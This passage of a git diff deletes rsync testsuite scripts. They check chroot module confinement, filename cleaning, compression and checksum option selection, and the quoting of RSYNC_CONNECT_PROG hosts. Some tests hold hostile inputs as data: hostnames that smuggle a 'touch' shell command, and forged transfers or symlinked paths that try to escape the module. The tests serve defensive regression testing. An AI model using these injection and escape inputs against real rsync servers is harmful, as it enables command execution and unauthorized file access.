greeting_version=30)\n-# Push file \"f\"; its content is delivered in the transfer phase, not the flist.\n-s.send_flat_flist([rp.FileEntry('f', mode=rp.S_IFREG | 0o644, length=len(SOURCE))])\n-# Forge alt-dest basis index 0 (FNAMECMP_FUZZY+1) with basename \"f\"; match block 0\n-# of that basis then send the literal 'X' tail.\n-s.run_forged_transfer(rp.FNAMECMP_FUZZY + 1, b'f', literal_tail=b'X')\n-s.drain(timeout=3.0)\n-s.close()\n-\n-leaked = False\n-for _ in range(50):\n-    new = log.read_text(errors='replace')[len(before):]\n-    if 'failed verification' in new:\n-        leaked = True\n-        break\n-    time.sleep(0.1)\n-\n-if leaked:\n-    new = log.read_text(errors='replace')[len(before):]\n-    test_fail(\"receiver opened and read an outside-inner-module file as the delta \"\n-              \"basis via a forged fnamecmp_type (the reconstruction failed the \"\n-              \"whole-file checksum -- but the out-of-module read already \"\n-              \"happened); secure_basis_open did not confine the /./ chroot.\\n\"\n-              + new)\n-\n-print(\"chroot-basis-forge-inner-module: a forged alt-dest basis index cannot \"\n-      \"open a file outside the inner module\")\ndiff --git a/testsuite/chroot-copy-dest-inner-module_test.py b/testsuite/chroot-copy-dest-inner-module_test.py\ndeleted file mode 100644\nindex 3d822a7..0000000\n--- a/testsuite/chroot-copy-dest-inner-module_test.py\n+++ /dev/null\n@@ -1,37 +0,0 @@\n-#!/usr/bin/env python3\n-# A /./ inner-module chroot daemon must not use an out-of-inner-module file as a\n-# --copy-dest basis (here reached via inner/linkparent -> ../outside).\n-#\n-# Detection is CONTENT-based, not atime-based: poison outside/f with distinct\n-# content but an identical size+mtime, so the --copy-dest size+mtime quick-check\n-# would still accept it if confinement were bypassed -- and copy_file() would then\n-# copy the poison bytes into dest.  If the confinement holds, the basis is refused\n-# and dest is transferred from src.  (The previous atime oracle false-positived on\n-# macOS: Spotlight, mds/mdworker_shared, indexes the freshly-created scratch files\n-# and reads outside/f, advancing its atime independently of rsync.  Any external\n-# reader -- indexer, AV, backup -- defeats an atime signal; content does not.)\n-\n-import os\n-import shutil\n-\n-from rsyncfns import run_checked, setup_chroot_inner\n-from rsyncfns import makepath, rsync_argv, test_fail\n-\n-base, inner, outside, src, url = setup_chroot_inner('chroot-copydest-inner')\n-makepath(inner / 'dest')\n-(src / 'f').write_text('same\\n')                 # 5 bytes\n-shutil.copy2(src / 'f', outside / 'f')           # same size + mtime as src/f\n-(outside / 'f').write_text('PWND\\n')             # distinct content, same 5 bytes\n-src_mtime = (src / 'f').stat().st_mtime\n-os.utime(outside / 'f', (src_mtime, src_mtime))  # restore mtime for the quick-check\n-\n-proc, out = run_checked(rsync_argv('-a', '--copy-dest=../linkparent', f'{src}/', f'{url}mod/dest/'))\n-dest = inner / 'dest' / 'f'\n-if not dest.exists():\n-    test_fail(f\"copy-dest transfer did not create destination file:\\n{out}\")\n-# A real escape copies the out-of-module basis content into dest; a confined\n-# daemon transfers from src instead.\n-if dest.read_text() != (src / 'f').read_text():\n-    test_fail(\"copy-dest read an outside-inner-module basis file: dest got the \"\n-              f\"out-of-module content {dest.read_text()!r}:\\n{out}\")\n-print(\"chroot-copy-dest-inner-module: outside copy-dest basis was not read\")\ndiff --git a/testsuite/chroot-link-dest-inner-module_test.py b/testsuite/chroot-link-dest-inner-module_test.py\ndeleted file mode 100644\nindex ae03b70..0000000\n--- a/testsuite/chroot-link-dest-inner-module_test.py\n+++ /dev/null\n@@ -1,18 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-import shutil\n-\n-from rsyncfns import run_checked, setup_chroot_inner\n-from rsyncfns import makepath, rsync_argv, test_fail\n-\n-base, inner, outside, src, url = setup_chroot_inner('chroot-linkdest-inner')\n-makepath(inner / 'dest')\n-(src / 'f').write_text('same\\n')\n-shutil.copy2(src / 'f', outside / 'f')\n-proc, out = run_checked(rsync_argv('-a', '--link-dest=../linkparent', f'{src}/', f'{url}mod/dest/'))\n-dest = inner / 'dest' / 'f'\n-if not dest.exists():\n-    test_fail(f\"link-dest transfer did not create destination file:\\n{out}\")\n-if (dest.stat().st_dev, dest.stat().st_ino) == ((outside / 'f').stat().st_dev, (outside / 'f').stat().st_ino):\n-    test_fail(f\"link-dest hardlinked an outside-inner-module file:\\n{out}\")\n-print(\"chroot-link-dest-inner-module: outside basis was not hardlinked into inner module\")\ndiff --git a/testsuite/chroot-receiver-write-inner-module_test.py b/testsuite/chroot-receiver-write-inner-module_test.py\ndeleted file mode 100644\nindex cb5cc14..0000000\n--- a/testsuite/chroot-receiver-write-inner-module_test.py\n+++ /dev/null\n@@ -1,10 +0,0 @@\n-#!/usr/bin/env python3\n-from rsyncfns import run_checked, setup_chroot_inner\n-from rsyncfns import rsync_argv, test_fail\n-\n-base, inner, outside, src, url = setup_chroot_inner('chroot-write-inner')\n-(src / 'pwn').write_text('payload\\n')\n-proc, out = run_checked(rsync_argv('-a', str(src / 'pwn'), f'{url}mod/linkparent/pwn'))\n-if (outside / 'pwn').exists():\n-    test_fail(f\"receiver write escaped inner module through symlinked parent:\\n{out}\")\n-print(\"chroot-receiver-write-inner-module: symlinked parent did not publish outside inner module\")\ndiff --git a/testsuite/chroot-special-inner-module_test.py b/testsuite/chroot-special-inner-module_test.py\ndeleted file mode 100644\nindex ab5ea4a..0000000\n--- a/testsuite/chroot-special-inner-module_test.py\n+++ /dev/null\n@@ -1,12 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-\n-from rsyncfns import run_checked, setup_chroot_inner\n-from rsyncfns import rsync_argv, test_fail\n-\n-base, inner, outside, src, url = setup_chroot_inner('chroot-special-inner')\n-os.symlink('target', src / 'link')\n-proc, out = run_checked(rsync_argv('-a', str(src / 'link'), f'{url}mod/linkparent/link'))\n-if (outside / 'link').exists() or os.path.islink(outside / 'link'):\n-    test_fail(f\"symlink creation escaped inner module through symlinked parent:\\n{out}\")\n-print(\"chroot-special-inner-module: symlink creation did not escape inner module\")\ndiff --git a/testsuite/clean-fname-collapse_test.py b/testsuite/clean-fname-collapse_test.py\ndeleted file mode 100644\nindex b9dd72f..0000000\n--- a/testsuite/clean-fname-collapse_test.py\n+++ /dev/null\n@@ -1,21 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for KI-50: clean_fname(name, CFN_COLLAPSE_DOT_DOT_DIRS) must\n-# collapse \"..\" components.  An off-by-one (*s=='/' should be s[-1]=='/'; s+1\n-# should be s) left the collapse dead for every multi-component/absolute path.\n-# The t_clean_fname helper links the real util1.o and checks the collapse.\n-\n-import subprocess\n-\n-from rsyncfns import TOOLDIR, test_fail, test_skipped\n-\n-helper = TOOLDIR / 't_clean_fname'\n-if not helper.is_file():\n-    test_skipped(\"t_clean_fname helper not built\")\n-\n-proc = subprocess.run([str(helper)], stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n-                      timeout=30)\n-if proc.returncode != 0:\n-    test_fail(\"clean_fname CFN_COLLAPSE_DOT_DOT_DIRS off-by-one (collapse dead)\\n\"\n-              + (proc.stdout or b'').decode('utf-8', 'replace')\n-              + (proc.stderr or b'').decode('utf-8', 'replace'))\n-print((proc.stdout or b'').decode('utf-8', 'replace').strip())\ndiff --git a/testsuite/clean-fname-underflow_test.py b/testsuite/clean-fname-underflow_test.py\ndeleted file mode 100644\nindex 505938a..0000000\n--- a/testsuite/clean-fname-underflow_test.py\n+++ /dev/null\n@@ -1,38 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/clean-fname-underflow.test.\n-#\n-# Ensure clean_fname() does not read-before-buffer when collapsing \"..\".\n-# Exercises the --server path where a crafted merge filename hits\n-# clean_fname(); the test fails if rsync dies from a signal (status >= 128)\n-# AND if rsync exits 0 -- the bogus input must be rejected (clean_fname\n-# collapses \"a/../test\" to \"test\", whose merge file does not exist, so rsync\n-# errors out non-zero). Accepting it would mean the name was mis-collapsed.\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import RSYNC, TMPDIR, test_fail, split_rsync_cmd\n-\n-\n-workdir = TMPDIR / 'workdir'\n-(workdir / 'mod').mkdir(parents=True, exist_ok=True)\n-os.chdir(workdir)\n-\n-# RSYNC may be a multi-word command (e.g. valgrind + rsync); take just the\n-# binary path, matching the shell test's `echo $RSYNC | sed 's/ .*//'`.\n-rsync_bin = split_rsync_cmd(RSYNC)[0]\n-\n-proc = subprocess.run(\n-    [rsync_bin, '--server', '--sender', '-vlr',\n-     '--filter=merge a/../test', '.', 'mod/'],\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-)\n-\n-if proc.returncode >= 128:\n-    test_fail(f\"rsync exited due to a signal (status={proc.returncode})\")\n-if proc.returncode == 0:\n-    test_fail(\"rsync accepted the bogus 'a/../test' merge filter (expected a \"\n-              \"non-zero rejection); clean_fname() may have mis-collapsed it\")\n-\n-print(\"OK: clean_fname() handled 'a/../test' without crashing, and rejected it\")\ndiff --git a/testsuite/cmptree.py b/testsuite/cmptree.py\ndeleted file mode 100755\nindex 5ae6962..0000000\n--- a/testsuite/cmptree.py\n+++ /dev/null\n@@ -1,82 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Compare two directory trees and print any differences.\n-\n-Reuses rsyncfns.compare_trees(), so it is special-file aware (never\n-opens a fifo/socket/device as a stream) and reports differences in: the tls\n-listing (type, mode, owner, size, mtime, symlink target for every inode),\n-regular-file contents, user xattrs, POSIX ACLs, and hard-link grouping.\n-\n-Works on any two trees, not just ones built by mkvariety.py. Exit status is 0\n-when the trees match, 1 when they differ.\n-\n-Examples:\n-    testsuite/cmptree.py /tmp/vt/transfer_root /tmp/copy\n-    testsuite/cmptree.py --no-acls --no-xattrs treeA treeB\n-\"\"\"\n-\n-import argparse\n-import os\n-import sys\n-\n-_HERE = os.path.dirname(os.path.abspath(__file__))\n-\n-\n-def _resolve_tooldir(opt):\n-    \"\"\"Directory holding the `tls` helper (needed for the listing comparison).\"\"\"\n-    for d in (opt, os.path.dirname(_HERE), os.getcwd()):\n-        if d and os.path.exists(os.path.join(d, 'tls')):\n-            return d\n-    return None\n-\n-\n-def main():\n-    ap = argparse.ArgumentParser(\n-        description=__doc__,\n-        formatter_class=argparse.RawDescriptionHelpFormatter)\n-    ap.add_argument('tree_a')\n-    ap.add_argument('tree_b')\n-    ap.add_argument('--no-xattrs', dest='xattrs', action='store_false',\n-                    help='skip user-xattr comparison')\n-    ap.add_argument('--no-acls', dest='acls', action='store_false',\n-                    help='skip POSIX ACL comparison')\n-    ap.add_argument('--tooldir', default=None,\n-                    help='directory holding the tls helper '\n-                         '(default: the build tree, else cwd)')\n-    ap.add_argument('-q', '--quiet', action='store_true',\n-                    help='print nothing; only set the exit status')\n-    args = ap.parse_args()\n-\n-    for t in (args.tree_a, args.tree_b):\n-        if not os.path.isdir(t):\n-            ap.error(f\"not a directory: {t}\")\n-\n-    tooldir = _resolve_tooldir(args.tooldir)\n-    if tooldir is None:\n-        ap.error(\"cannot find the 'tls' helper (needed for the listing \"\n-                 \"comparison); build it with `make check-progs` or pass \"\n-                 \"--tooldir DIR\")\n-\n-    # rsyncfns reads these at import time; compare_trees only needs\n-    # TOOLDIR (for tls). scratchdir must be an existing dir but is unused here.\n-    import tempfile\n-    os.environ.setdefault('scratchdir', tempfile.gettempdir())\n-    os.environ.setdefault('srcdir', os.getcwd())\n-    os.environ.setdefault('TOOLDIR', tooldir)\n-    os.environ.setdefault('RSYNC', 'rsync')\n-    sys.path.insert(0, _HERE)\n-    import rsyncfns as R\n-\n-    diffs = R.compare_trees(args.tree_a, args.tree_b,\n-                                    with_acls=args.acls, with_xattrs=args.xattrs)\n-    if diffs:\n-        if not args.quiet:\n-            print(f\"trees DIFFER ({len(diffs)} difference(s)):\")\n-            print('\\n'.join(diffs))\n-        return 1\n-    if not args.quiet:\n-        print(\"trees are identical\")\n-    return 0\n-\n-\n-if __name__ == '__main__':\n-    sys.exit(main())\ndiff --git a/testsuite/compare_test.py b/testsuite/compare_test.py\ndeleted file mode 100644\nindex 8279c9f..0000000\n--- a/testsuite/compare_test.py\n+++ /dev/null\n@@ -1,90 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of the comparison/skip options at depth: -c, -I, --size-only,\n---modify-window.\n-\n-These decide WHETHER a file is transferred. Each is checked on a file several\n-levels deep using a \"stealth change\" (same size, same mtime, different content)\n-that the default quick check deliberately skips.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_tree, rmtree, run_rsync, test_fail,\n-)\n-\n-src = FROMDIR\n-deep = os.path.join('d1', 'd2', 'd3', 'f3')\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3, data=True, data_size=4096)\n-    run_rsync('-a', f'{src}/', f'{TODIR}/')          # dest == src\n-\n-\n-def stealth_change():\n-    \"\"\"Change the deep source file's content but restore the destination's\n-    size+mtime, so the quick check sees them as equal.\"\"\"\n-    st = os.stat(TODIR / deep)\n-    data = bytearray((src / deep).read_bytes())\n-    data[0] ^= 0xFF                                   # same length, new content\n-    (src / deep).write_bytes(bytes(data))\n-    os.utime(src / deep, (st.st_atime, st.st_mtime))\n-\n-\n-# --- the default quick check skips a stealth change; -c and -I catch it ------\n-seed()\n-stealth_change()\n-run_rsync('-a', f'{src}/', f'{TODIR}/')\n-if (TODIR / deep).read_bytes() == (src / deep).read_bytes():\n-    test_fail(\"default quick check unexpectedly transferred a same-size, \"\n-              \"same-mtime change (test setup is wrong)\")\n-\n-run_rsync('-a', '-c', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='-c caught stealth change')\n-\n-seed()\n-stealth_change()\n-run_rsync('-a', '-I', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='-I caught stealth change')\n-\n-# --- --size-only skips a same-size change even when the mtime differs --------\n-def samesize_newmtime():\n-    data = bytearray((src / deep).read_bytes())\n-    data[0] ^= 0xFF                                  # same size, new content\n-    (src / deep).write_bytes(bytes(data))\n-    st = os.stat(src / deep)\n-    os.utime(src / deep, (st.st_atime, st.st_mtime + 100))   # mtime differs\n-\n-\n-seed()\n-samesize_newmtime()\n-run_rsync('-a', '--size-only', f'{src}/', f'{TODIR}/')\n-if (TODIR / deep).read_bytes() == (src / deep).read_bytes():\n-    test_fail(\"--size-only transferred a same-size file (should have skipped)\")\n-\n-# Contrast on a fresh tree: the default DOES transfer it (mtime differs).\n-# (Re-seed because --size-only above updated the dest mtime to match.)\n-seed()\n-samesize_newmtime()\n-run_rsync('-a', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='default caught mtime change')\n-\n-# --- --modify-window absorbs a small mtime difference -----------------------\n-# Both runs are dry-run (-ain): a real run would update the dest mtime to match\n-# the source, leaving the --modify-window run nothing to absorb (vacuous).\n-seed()\n-st = os.stat(TODIR / deep)\n-os.utime(src / deep, (st.st_atime, st.st_mtime + 1))  # 1s newer, same content\n-p = run_rsync('-ain', f'{src}/', f'{TODIR}/', capture_output=True)\n-if 'f3' not in p.stdout:\n-    test_fail(\"a 1s mtime change was not itemized without --modify-window\")\n-p = run_rsync('-ain', '--modify-window=2', f'{src}/', f'{TODIR}/',\n-              capture_output=True)\n-if 'f3' in p.stdout:\n-    test_fail(\"--modify-window=2 did not absorb a 1s mtime difference\")\n-\n-print(\"compare: -c / -I / --size-only / --modify-window verified at depth\")\ndiff --git a/testsuite/compress-options_test.py b/testsuite/compress-options_test.py\ndeleted file mode 100644\nindex eabbfc4..0000000\n--- a/testsuite/compress-options_test.py\n+++ /dev/null\n@@ -1,88 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Breadth coverage of the algorithm-selection options at depth:\n---compress-choice / --compress-level / --skip-compress and\n---checksum-choice / --checksum-seed.\n-\n-Compression and checksum choice don't change the result, so each available\n-algorithm is exercised for a clean, byte-identical transfer of a >=3-deep tree\n-(proving the option parses, negotiates and doesn't corrupt data).\n-\"\"\"\n-\n-import json\n-import re\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_tree, rmtree, run_rsync, test_fail, walk_files,\n-)\n-\n-src = FROMDIR\n-vv = json.loads(run_rsync('-VV', check=True, capture_output=True).stdout)\n-compressors = [a for a in vv.get('compress_list', []) if a != 'none']\n-checksums = [a for a in vv.get('checksum_list', []) if a != 'none']\n-\n-\n-def fresh():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3, data=True, data_size=4096)\n-    return [p.relative_to(src) for p in walk_files(src)]\n-\n-\n-def verify(rels, label):\n-    for rel in rels:\n-        assert_same(TODIR / rel, src / rel, label=f'{label} {rel}')\n-\n-\n-# --- --compress-choice for every advertised compressor ----------------------\n-# Byte-identical output alone proves only that the option didn't corrupt data;\n-# assert via --debug=NSTR (compat.c) that the requested compressor was actually\n-# selected for the transfer. The trailing \" (level\" anchors so zlib != zlibx.\n-for algo in compressors:\n-    rels = fresh()\n-    proc = run_rsync('-az', f'--compress-choice={algo}', '--debug=NSTR',\n-                     f'{src}/', f'{TODIR}/', capture_output=True)\n-    if not re.search(rf'compress: {re.escape(algo)} \\(level', proc.stdout):\n-        test_fail(f\"--compress-choice={algo} was not the selected compressor; \"\n-                  f\"--debug=NSTR output:\\n{proc.stdout}\")\n-    verify(rels, f'--compress-choice={algo}')\n-\n-# --- --compress-level (the requested level reaches the compressor) ----------\n-rels = fresh()\n-# The default compressor can be lz4, which has no tunable levels and reports\n-# level 0; pick a level-aware compressor so this verifies --compress-level reaches\n-# a compressor that supports it.\n-level_algo = next((a for a in ('zlibx', 'zlib') if a in compressors), None)\n-level_args = [f'--compress-choice={level_algo}'] if level_algo else []\n-proc = run_rsync('-az', *level_args, '--compress-level=9', '--debug=NSTR',\n-                 f'{src}/', f'{TODIR}/', capture_output=True)\n-if not re.search(r'compress: \\S+ \\(level 9\\)', proc.stdout):\n-    test_fail(\"--compress-level=9 was not applied; \"\n-              f\"--debug=NSTR output:\\n{proc.stdout}\")\n-verify(rels, '--compress-level=9')\n-\n-# --- --skip-compress (the file must still arrive intact) --------------------\n-rels = fresh()\n-(src / 'd1' / 'd2' / 'x.gz').write_bytes(b'\\x1f\\x8b' + b'pseudo gzip body ' * 64)\n-run_rsync('-az', '--skip-compress=gz', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / 'd1' / 'd2' / 'x.gz', src / 'd1' / 'd2' / 'x.gz',\n-            label='--skip-compress gz')\n-\n-# --- --checksum-choice for every advertised checksum ------------------------\n-# As above: assert via --debug=NSTR (checksum.c) that the requested checksum was\n-# the one negotiated, not merely that the transfer succeeded.\n-for algo in checksums:\n-    rels = fresh()\n-    proc = run_rsync('-a', '-c', f'--checksum-choice={algo}', '--debug=NSTR',\n-                     f'{src}/', f'{TODIR}/', capture_output=True)\n-    if not re.search(rf'checksum: {re.escape(algo)}\\b', proc.stdout):\n-        test_fail(f\"--checksum-choice={algo} was not the selected checksum; \"\n-                  f\"--debug=NSTR output:\\n{proc.stdout}\")\n-    verify(rels, f'--checksum-choice={algo}')\n-\n-# --- --checksum-seed --------------------------------------------------------\n-rels = fresh()\n-run_rsync('-a', '-c', '--checksum-seed=12345', f'{src}/', f'{TODIR}/')\n-verify(rels, '--checksum-seed')\n-\n-print(\"compress-options: compress/checksum algorithm selection verified at depth\")\ndiff --git a/testsuite/compress-zlib-insert_test.py b/testsuite/compress-zlib-insert_test.py\ndeleted file mode 100644\nindex a7be60d..0000000\n--- a/testsuite/compress-zlib-insert_test.py\n+++ /dev/null\n@@ -1,72 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for issue #951.\n-#\n-# When rsync is built against a system zlib (no bundled Z_INSERT_ONLY\n-# extension), send_deflated_token() falls back to Z_SYNC_FLUSH to add a\n-# matched block to the compressor history -- but Z_SYNC_FLUSH emits a flush\n-# block into a fixed-size obuf.  A large incompressible matched block\n-# overflowed obuf and aborted the transfer with\n-#     \"deflate on token returned 0 (N bytes left)\"  at token.c\n-# The fix loops, discarding the (never-sent) output, until the input is\n-# consumed.  A bundled-zlib build emits no output here, so this test passes\n-# on either build; it is RED only on a pre-fix system-zlib build.\n-#\n-# The matched-block insert path needs all of: --compress-choice=zlib (the\n-# only method that feeds matched blocks into the deflate history), a large\n-# --block-size so a single matched token exceeds obuf, incompressible\n-# (random) data, and a delta over a real connection (compression is skipped\n-# for purely local transfers).  We assert the upload SUCCEEDS *and* the\n-# result matches the source, so the fix is verified correct, not merely\n-# non-crashing.\n-\n-import filecmp\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, make_data_file, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12922\n-SIZE = 8 * 1024 * 1024     # enough blocks to exercise many inserts\n-# 65535 (0xffff) is a single insert fragment larger than the deflate output\n-# buffer (AVAIL_OUT_SIZE(CHUNK_SIZE) ~= 32816).  It exercises both failure\n-# modes of the pre-fix code: the obuf overflow abort, and -- once that is\n-# loop-drained -- pending insert output left in the stream that leaks into\n-# the next send.  A block that splits into chunks ending in a tiny fragment\n-# (e.g. 131072 = 65535+65535+2) would hide the pending case.\n-BLOCK = 65535\n-\n-moddir = SCRATCHDIR / 'zmod'\n-srcdir = SCRATCHDIR / 'zsrc'\n-rmtree(moddir)\n-rmtree(srcdir)\n-makepath(moddir)\n-makepath(srcdir)\n-\n-# Source is incompressible.  The basis (already in the module) is the same\n-# data with a few bytes changed in one block, so every other 128KB block\n-# matches exactly and is sent as a token -> the deflate insert path.\n-make_data_file(srcdir / 'big.dat', SIZE)\n-shutil.copy(srcdir / 'big.dat', moddir / 'big.dat')\n-with open(srcdir / 'big.dat', 'r+b') as f:\n-    f.seek(SIZE // 2 + 1000)\n-    f.write(b'\\x00' * 32)\n-\n-conf = write_daemon_conf([('zmod', {'path': str(moddir), 'read only': 'no'})])\n-url = start_test_daemon(conf, DAEMON_PORT) + 'zmod/'\n-\n-# -I forces the delta even though the basis has the same size (otherwise the\n-# quick check skips the file and the matched-block insert path never runs).\n-proc = subprocess.run(\n-    rsync_argv('-zI', '--compress-choice=zlib', '--no-whole-file',\n-               f'--block-size={BLOCK}', str(srcdir / 'big.dat'), url),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if proc.returncode != 0:\n-    print(proc.stdout)\n-    test_fail(f\"zlib delta upload failed (rc={proc.returncode}); \"\n-              \"regression of #951 deflate-token overflow\")\n-\n-if not filecmp.cmp(srcdir / 'big.dat', moddir / 'big.dat', shallow=False):\n-    test_fail(\"uploaded file differs from source -- zlib delta corruption\")\ndiff --git a/testsuite/connect-prog-host-quoting_test.py b/testsuite/connect-prog-host-quoting_test.py\ndeleted file mode 100644\nindex 47c791c..0000000\n--- a/testsuite/connect-prog-host-quoting_test.py\n+++ /dev/null\n@@ -1,27 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-base = SCRATCHDIR / 'connect-prog-quote'\n-rmtree(base)\n-base.mkdir(parents=True)\n-sentinel = base / 'pwned'\n-host = f\"localhost;touch${{IFS}}{sentinel};#\"\n-env = os.environ.copy()\n-env['RSYNC_CONNECT_PROG'] = 'printf %H >/dev/null'\n-\n-proc = subprocess.run(\n-    rsync_argv(f'rsync://{host}/mod/', str(base / 'out')),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, env=env)\n-out = (proc.stdout or '') + (proc.stderr or '')\n-\n-if 'socketpair_tcp failed' in out:\n-    test_skipped(\"RSYNC_CONNECT_PROG socketpair is blocked in this environment\")\n-if sentinel.exists():\n-    test_fail(\"RSYNC_CONNECT_PROG %H substitution executed shell syntax from the host\")\n-if proc.returncode == 0:\n-    test_fail(\"malicious connect-program probe unexpectedly completed a transfer\")\n-\n-print(\"connect-prog-host-quoting: %H host shell syntax is quoted\")\ndiff --git a/testsuite/connect-prog-nested-singlequote-host-injection_test.py b/testsuite/connect-prog-nested-singlequote-host-injection_test.py\ndeleted file mode 100755\nindex 86275ae..0000000\n--- a/testsuite/connect-prog-nested-singlequote-host-injection_test.py\n+++ /dev/null\n@@ -1,105 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"RSYNC_CONNECT_PROG host quoting composes unsafely with single quotes.\n-\n-%H is substituted into a command string that a shell runs; a program of the\n-form `sh -c '... %H ...'` re-parses the word in a NESTED shell, where the\n-quoting rsync added has already been consumed by the outer one.  A host of\n-`localhost;touch$IFS<marker>;#` therefore executes in the inner shell.\n-\n-Asserting only that the marker is absent is not enough: it is equally absent\n-when rsync failed to parse its arguments, when socketpair_tcp is blocked in the\n-environment, or when `touch` could not be found.  Each refusal below is checked\n-by its specific message, and the accepted-host cases prove the allow-list has\n-not simply refused everything -- which would satisfy an absence-only test\n-perfectly.\n-\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-REFUSAL = 'unsafe host characters for RSYNC_CONNECT_PROG'\n-\n-base = SCRATCHDIR / 'connect-prog-nested'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-# Records what %H expanded to, so an accepted host is checked for real rather\n-# than inferred from the transfer having failed for some other reason.\n-seen = base / 'seen'\n-probe = base / 'probe.sh'\n-# Records and exits: anything that keeps reading stdin would hang the\n-# transfer until the harness timeout instead of failing fast.\n-probe.write_text(f'#!/bin/sh\\nprintf %s \"$1\" > {shlex.quote(str(seen))}\\n')\n-probe.chmod(0o755)\n-\n-\n-def run(host, prog):\n-    env = os.environ.copy()\n-    env['RSYNC_CONNECT_PROG'] = prog\n-    # cwd=base so a bare marker name in the payload lands in the scratch dir.\n-    # It has to be bare: a URL authority ends at the first '/', so an absolute\n-    # path never reaches the shell at all -- the injected `touch` would run\n-    # with no operand and could not create anything, which would make the\n-    # marker check below unfalsifiable.\n-    return subprocess.run(\n-        rsync_argv(f'rsync://{host}/m/', str(base / 'out')),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=env,\n-        cwd=str(base))\n-\n-\n-# --- the injection itself --------------------------------------------------\n-marker = base / 'pwned'\n-proc = run('localhost;touch${IFS}pwned;#', \"sh -c 'printf %H >/dev/null'\")\n-if 'socketpair_tcp failed' in proc.stdout:\n-    test_skipped('RSYNC_CONNECT_PROG socketpair is blocked in this environment')\n-if marker.exists():\n-    test_fail('RSYNC_CONNECT_PROG host escaped the template quote context and '\n-              'ran a command in the nested shell')\n-if proc.returncode == 0:\n-    test_fail(f'the malicious host completed a transfer: {proc.stdout!r}')\n-if REFUSAL not in proc.stdout:\n-    test_fail('the shell-active host was not refused for BEING shell-active; '\n-              'something else stopped the transfer, so this check would pass '\n-              f'with the guard removed: {proc.stdout!r}')\n-\n-# --- first characters that change an argument's meaning --------------------\n-# Quoting keeps these as a single word but cannot stop '-' looking like an\n-# option to the named program, nor '~' being tilde-expanded by the nested shell.\n-for host, why in (('-c', \"looks like an option to the connect program\"),\n-                  ('+x', \"looks like an option too: `sh +x` is as real as `sh -x`\"),\n-                  ('~root', \"is tilde-expanded by the nested shell\"),\n-                  ('%self', \"is expanded by a nested fish, where %self is its pid\"),\n-                  ('', \"vanishes when a nested shell re-splits, shifting later args\")):\n-    seen.unlink(missing_ok=True)\n-    proc = run(host, f'{probe} %H')\n-    if REFUSAL not in proc.stdout:\n-        got = seen.read_text() if seen.exists() else '(program not reached)'\n-        test_fail(f'host {host!r} was accepted, and it {why}; '\n-                  f'the connect program received {got!r}')\n-\n-# --- hosts that must still work -------------------------------------------\n-# RSYNC_CONNECT_PROG exists for custom transports, so %H is not always a name\n-# the resolver ever sees.  Without these, an allow-list that refused far too\n-# much would still look perfect above.\n-for host, expect in (('example.com', 'example.com'),\n-                     ('example.com.', 'example.com.'),\n-                     ('host_name', 'host_name'),\n-                     ('host+alias', 'host+alias'),\n-                     ('host~alias', 'host~alias'),\n-                     ('[fe80::1%eth0]', 'fe80::1%eth0')):\n-    seen.unlink(missing_ok=True)\n-    proc = run(host, f'{probe} %H')\n-    if REFUSAL in proc.stdout:\n-        test_fail(f'host {host!r} is legitimate but was refused: {proc.stdout!r}')\n-    if not seen.exists():\n-        test_fail(f'host {host!r} never reached the connect program: {proc.stdout!r}')\n-    got = seen.read_text()\n-    if got != expect:\n-        test_fail(f'host {host!r} reached the connect program as {got!r}, '\n-                  f'expected {expect!r}')\n-\n-print('RSYNC_CONNECT_PROG refuses a shell-active host and an option- or '\n-      'tilde-active first character, and still passes ordinary ones through')\ndiff --git a/testsuite/contimeout-rsh_test.py b/testsuite/contimeout-rsh_test.py\ndeleted file mode 100644\nindex 1900680..0000000\n--- a/testsuite/contimeout-rsh_test.py\n+++ /dev/null\n@@ -1,69 +0,0 @@\n-#!/usr/bin/env python3\n-# --contimeout is documented as a \"daemon connection timeout\".  The guard that\n-# rejects it only looked at whether connect_timeout was set, so a daemon\n-# connection made through a remote shell (e.g. rsync-ssl, which runs rsync with\n-# --rsh pointing at its helper) was rejected with the same syntax error as a\n-# plain non-daemon remote-shell transfer.  Only reject the option when there is\n-# no daemon connection at all: a daemon reached via --rsh (daemon_connection ==\n-# 1) is still a daemon connection, and rsync now also times that connection's\n-# establishment phase with --contimeout the same way it times a socket connect.\n-\n-import subprocess\n-import time\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, rsync_argv, rmtree, test_fail\n-\n-RERR_CONTIMEOUT = 35\n-\n-base = SCRATCHDIR / 'contimeout-rsh'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-\n-def run(*args):\n-    return 